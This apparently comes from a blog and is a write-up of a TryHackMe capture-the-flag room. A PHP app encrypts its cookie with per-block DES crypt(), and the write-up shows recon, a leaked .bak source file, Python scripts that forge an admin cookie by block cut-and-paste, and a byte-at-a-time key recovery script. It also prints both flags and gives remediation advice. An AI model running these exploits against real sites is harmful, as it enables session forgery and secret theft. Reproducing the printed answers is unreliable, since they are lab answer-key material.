Q1 (web flag):
THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
Q2 (encryption key):THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}
A PHP app rolls its own "military-grade" cookie encryption: each 8-byte block of
user:User-Agent:ENC_SECRET_KEY is run through crypt() with a single 2-character salt, and the
results are concatenated. That is an ECB-style construction made of hashes, which gives us two
bugs:
-
Cut-and-paste auth bypass —
guest:andadmin:are the same length, so only the first block differs and we can compute it locally. -
Byte-at-a-time key recovery — by changing the
User-Agentlength we can place each unknown key byte in a block where the other 7 bytes are known, then brute-force one character.
No SSH, no privesc — both answers come from port 80.
1. Recon
nmap -T4 --open -p- --min-rate=3000 10.113.155.191
nmap -sV -sC -p22,80 10.113.155.191
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open http Apache httpd 2.4.59 ((Debian)) X-Powered-By: PHP/8.3.8
On the first request the app sets two cookies and redirects to /:
curl -s -i http://10.113.155.191/ | head -20
HTTP/1.1 302 Found
X-Powered-By: PHP/8.3.8
Set-Cookie: secure_cookie=Fmzq4d4Emej8...; expires=...; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=...; Max-Age=3600; path=/
Location: /
Following the redirect with cookies stored gives the landing page:
curl -s -L -c jar.txt -b jar.txt http://10.113.155.191/
<p>You are logged in as guest:***********
<p>SSO cookie is protected with traditional military grade en<b>crypt</b>ion
<!-- TODO remember to remove .bak files-->
The comment is the hint: look for backup files. Fuzzing confirms one:
ffuf -u http://10.113.155.191/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403,401 -t 40
# index.php, .htaccess, .htpasswd, server-status ... plus the .bak we are about to fetch
curl -s http://10.113.155.191/index.php.bak -o index.php.bak
config.php exists but executes to an empty 200, and every config.php.bak-style variant is 404.
The .bak of index.php is the intended leak.
2. Reading the scheme
cat index.php.bak
Relevant parts:
$string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;
function make_secure_cookie($text, $SALT) {
$secure_cookie = '';
foreach (str_split($text, 8) as $el) { // 8-byte blocks
$secure_cookie .= crypt($el, $SALT); // DES crypt -> 13 chars/block
}
return $secure_cookie;
}
function verify_cookie($ENC_SECRET_KEY) {
$user = $_COOKIE['user'];
$string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;
$salt = substr($_COOKIE['secure_cookie'], 0, 2); // salt = first 2 chars
if (make_secure_cookie($string, $salt) === $_COOKIE['secure_cookie']) return true;
...
}
if (verify_cookie($ENC_SECRET_KEY)) {
if ($user === "admin") echo "congrats: <flag>. Now I want the key.";
}
The important observations:
-
crypt()with a 2-character salt is traditional DES crypt: it returns 13 characters, the first two being the salt. So the cookie is a sequence of 13-char blocks. - The same salt is used for every block, and the salt is taken from the cookie we submit — we control it.
- Each block is hashed independently → identical plaintext blocks produce identical ciphertext blocks, and we can compute the hash of any plaintext ourselves. The key is only needed for the trailing blocks that contain it.
Confirm the block structure with a known prefix (PHP and libcrypt agree):
python3 -c '
import ctypes
l=ctypes.CDLL("libcrypt.so.1"); l.crypt.restype=ctypes.c_char_p
l.crypt.argtypes=[ctypes.c_char_p,ctypes.c_char_p]
print(l.crypt(b"guest:Mo", b"Ad")) # b"AdSleedEWCRK2"
print(l.crypt(b"admin:Mo", b"Ad")) # b"AdBOdWNO.9Zps"
'
3. Logging in as admin
The plaintext is guest:<UA>:<KEY> and the only block that differs for admin:<UA>:<KEY> is
block 0, because guest: and admin: are both exactly 6 bytes. Block 0 is just
admin: + the first two bytes of the User-Agent — no key material involved, so we can hash it
ourselves.
Method A — compute block 0 locally (works with any UA):
python3 - <<'EOF'
import ctypes, urllib.parse, http.client
lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
HOST = "10.113.155.191"
UA = "Mozilla/5.0" # keep this exact UA on the replay request
c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
setc = r.getheader("Set-Cookie") or ""
raw = [p.split("secure_cookie=")[1].split(";")[0]
for p in setc.split(",") if "secure_cookie=" in p][0]
cookie = urllib.parse.unquote(raw)
salt = cookie[:2]
blocks = [cookie[i:i+13] for i in range(0, len(cookie), 13)]
# block 0 of "admin:<UA>:<KEY>" = "admin:" + UA[:2]
blocks[0] = lib.crypt(("admin:" + UA[:2]).encode(), salt.encode()).decode()
forged = urllib.parse.quote("".join(blocks), safe="")
print("user=admin; secure_cookie=" + forged)
EOF
Method B — pure cut-and-paste (no local hashing): pick User-Agent: adadmin:ad. Then the
oracle's block 1 is crypt("admin:ad", salt), which is exactly the block 0 needed for the admin
string, and the two block 1s also match. So the forged cookie is block1 + block1 + blocks[2:]:
python3 - <<'EOF'
import urllib.parse, http.client
HOST, UA = "10.113.155.191", "adadmin:ad"
c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
raw = [p.split("secure_cookie=")[1].split(";")[0]
for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0]
ck = urllib.parse.unquote(raw)
b = [ck[i:i+13] for i in range(0, len(ck), 13)]
print("user=admin; secure_cookie=" + urllib.parse.quote(b[1] + b[1] + "".join(b[2:]), safe=""))
EOF
Replay the forged cookie with user=admin and the same User-Agent:
curl -s -A 'Mozilla/5.0' \
-H 'Cookie: user=admin; secure_cookie=<FORGED>' \
http://10.113.155.191/
congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key.
4. Recovering the encryption key
The full plaintext is guest:<UA>:<KEY>. We control the length of <UA>, so we can slide the
unknown bytes across the 8-byte block boundaries. The trick is to choose the padding so that the
next unknown character is always the 8th byte of a block whose first 7 bytes are known. Then
we try all printable characters in that last position, hash prefix + candidate, and compare with
that block of a freshly issued cookie (the salt is read from the block itself, so a new random salt
per request is fine).
Padding formula (with the unknown character as the last byte of the block):
pad = (7 - len("guest:" + ":" + discovered)) % 8
ua = "A" * pad
prefix = "guest:" + ua + ":" + discovered
bidx = len(prefix) // 8
Examples:
| discovered | UA padding | block being brute-forced |
|---|---|---|
| `` (start) | `` | guest::T |
T |
AAAAAAA |
AAAAA:TH |
TH |
AAAAAA |
AAAA:TH? |
Full script (/tmp/opencode/extract_key.py):
#!/usr/bin/env python3
import ctypes, http.client, urllib.parse, string, time
# Python 3.13+ removed the stdlib crypt module; call libcrypt directly.
lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
HOST = "10.113.155.191"
CHARSET = string.printable
USERNAME = "guest:"
SEP = ":"
def get_cookie(ua: str) -> str:
c = http.client.HTTPConnection(HOST, 80, timeout=15)
c.request("GET", "/", headers={"User-Agent": ua})
r = c.getresponse(); r.read()
setc = r.getheader("Set-Cookie") or ""
c.close()
for part in setc.split(","):
if "secure_cookie=" in part:
return urllib.parse.unquote(part.split("secure_cookie=")[1].split(";")[0])
return ""
discovered = ""
while True:
pad = (7 - len(USERNAME + SEP + discovered)) % 8
ua = "A" * pad
prefix = USERNAME + ua + SEP + discovered
bidx = len(prefix) // 8
block = get_cookie(ua)[bidx * 13:(bidx + 1) * 13]
if len(block) < 13: # partial final block -> end of key
break
salt = block[:2]
for ch in CHARSET:
candidate = (prefix + ch)[-8:]
if lib.crypt(candidate.encode(), salt.encode()).decode() == block:
discovered += ch
print(ch, end="", flush=True)
break
else:
break
print(f"\n\nKEY({len(discovered)}) = {discovered}")
Run it:
python3 extract_key.py
THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}
That is Q2. Note the key is 154 characters — the loop only stops when the unknown position
falls in the final, partial block.
Validation
Re-hash the complete plaintext under the salt of a live cookie and compare byte-for-byte:
import ctypes, http.client, urllib.parse
lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
key = open("key.txt").read()
ua = "Verify-UA-123"
c = http.client.HTTPConnection("10.113.155.191", 80, timeout=15)
c.request("GET", "/", headers={"User-Agent": ua})
r = c.getresponse(); r.read()
raw = [p.split("secure_cookie=")[1].split(";")[0]
for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0]
cookie = urllib.parse.unquote(raw)
salt = cookie[:2]
plain = "guest:" + ua + ":" + key
calc = "".join(lib.crypt(plain[i:i+8].encode(), salt.encode()).decode()
for i in range(0, len(plain), 8))
print("salt:", salt, "match:", calc == cookie)
salt: ej match: True
The reconstructed cookie matches the server's for a 174-byte plaintext (22 blocks), confirming the
key is exactly right.
Answers
| Question | Answer |
|---|---|
| Q1 — web flag | THM{ok_you_f0und_w3b_fl4g_6cbe2bc} |
| Q2 — encryption key | THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9} |
Why this is broken / how to fix it
-
ECB-style, per-block construction: blocks are independent, so rearrangeable. Use an
authenticated encryption mode (AES-GCM, ChaCha20-Poly1305, libsodium secretbox) over the whole
message, or an HMAC over
user:UA. -
Hashing is not encryption:
crypt()is a one-way hash; using it as a cookie cipher means the server re-hashes on every request and the secret leaks through controlled block alignment. -
Attacker-controlled block alignment: any
user/User-Agent-derived scheme that hashes fixed-size chunks lets an attacker recover secrets one byte at a time whenever the unknown data can be slid into a block with known neighbours. -
.bakin the webroot: remove source backups; they turn a crypto bug into a trivial one. - Weak salt handling: the salt is public and taken from attacker input; use a CSPRNG and a proper MAC instead.
Gotchas
-
GET /redirects to/forever until cookies are stored — use a cookie jar or a client that doesn't follow redirects (urllibwithout a jar raises "infinite loop"). - The cookie is URL-encoded (
%2F), sourllib.parse.unquote()before slicing 13-char blocks. -
index.php.bakis the only useful backup;config.phpis a live empty 200. - No privesc or SSH stage exists in this room — both questions are answered from the web app.
- Python 3.13+ has no
cryptmodule;ctypes.CDLL("libcrypt.so.1")matches PHP's DEScrypt()exactly (crypt("guest:Mo","Ad") == "AdSleedEWCRK2").

Top comments (0)